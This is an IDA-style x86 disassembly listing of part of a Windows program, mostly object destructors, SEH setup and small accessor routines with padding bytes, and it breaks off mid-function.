
; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_401F8Cj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_4017DFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416810	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416840	proc near		; CODE XREF: sub_401866j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416840	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416860	proc near		; CODE XREF: sub_401E15j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020EA
		add	esp, 8
		retn	8
sub_416860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416890	proc near		; CODE XREF: sub_401401j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416890	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168B0	proc near		; CODE XREF: sub_401618j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4168B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4168D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168F0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416920	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41693B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41693B:				; CODE XREF: sub_416920+11j
		retn
sub_416920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416970	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41698B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41698B:				; CODE XREF: sub_416970+11j
		retn
sub_416970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4169C0	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4169DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4169DB:				; CODE XREF: sub_4169C0+11j
		retn
sub_4169C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db '',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h
		dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A7068h, 115CE800h, 0C3590002h, 90909090h,	4 dup(0CCCCCCCCh)
		dd 449118B9h, 0B1DEE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A90:				; CODE XREF: ___:00401C58j
		push	0FFFFFFFFh
		push	offset loc_43B2E1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021FD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401F00
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_401776
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_402013
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401E06
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_401889
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F46
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B3B
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017DA
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018D9
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401ECE
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402239
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017AD
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A32
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C5
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401EA1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014FB
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401CA3
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401938
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_401447
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D00	proc near		; CODE XREF: sub_401A32j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43F050
		test	eax, eax
		jle	short loc_416D17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D17:				; CODE XREF: sub_416D00+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D30	proc near		; CODE XREF: ___:0040126Cj sub_4019CEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A32
		test	[esp+4+arg_0], 1
		jz	short loc_416D48
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D48:				; CODE XREF: sub_416D30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416D30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D60	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43F05C
		test	eax, eax
		jle	short loc_416D77
		push	eax
		call	near ptr 71AB9639h
		nop


loc_416D77:				; CODE XREF: sub_416D60+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D90:				; CODE XREF: ___:00401631j
					; ___:loc_401CADj
		push	esi
		mov	esi, ecx
		call	sub_4017AD
		test	byte ptr [esp+8], 1
		jz	short loc_416DA8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DA8:				; CODE XREF: ___:00416D9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416DC0	proc near		; CODE XREF: sub_401776j
		mov	dword ptr [ecx], offset	off_43F068
		jmp	sub_40204F
sub_416DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416DE0:				; CODE XREF: ___:loc_401929j
					; ___:004021ADj
		push	esi
		mov	esi, ecx
		call	sub_401776
		test	byte ptr [esp+8], 1
		jz	short loc_416DF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DF8:				; CODE XREF: ___:00416DEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_401889j
		mov	dword ptr [ecx], offset	off_43F074
		add	ecx, 4
		jmp	sub_401023
sub_416E10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416E30:				; CODE XREF: ___:00401E60j
		push	0FFFFFFFFh
		push	offset loc_43B4C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_4020BD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015E6
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_402018
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401A00
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_401587
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_40164F
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401780
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_40169F
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_40182F
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016BD
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_40141F
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D25
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A91
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CB7
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402121
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_40157D
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_401799
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_40142E
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_40142E
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_40142E
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_40142E
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401B0E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4170B0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4170B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B1D
sub_4170B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417120	proc near		; CODE XREF: sub_401938j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40208B
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40208B
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40208B
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40208B
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40208B
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AE6
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AE6
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AE6
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AE6
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AE6
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AE6
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AE6
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AE6
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AE6
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AE6
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AE6
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AE6
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AE6
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AE6
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AE6
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AE6
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AE6
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AE6
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AE6
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AE6
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AE6
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AE6
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AE6
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AE6
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AE6
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AE6
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AE6
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AE6
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AE6
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AE6
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AE6
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AE6
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417120	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417640	proc near		; CODE XREF: sub_4014FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417640	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176E0	proc near		; CODE XREF: sub_401EA1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4177B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4177B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4177B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417870	proc near		; CODE XREF: sub_402239j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417870	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_401ECEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179F0	proc near		; CODE XREF: sub_4018D9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
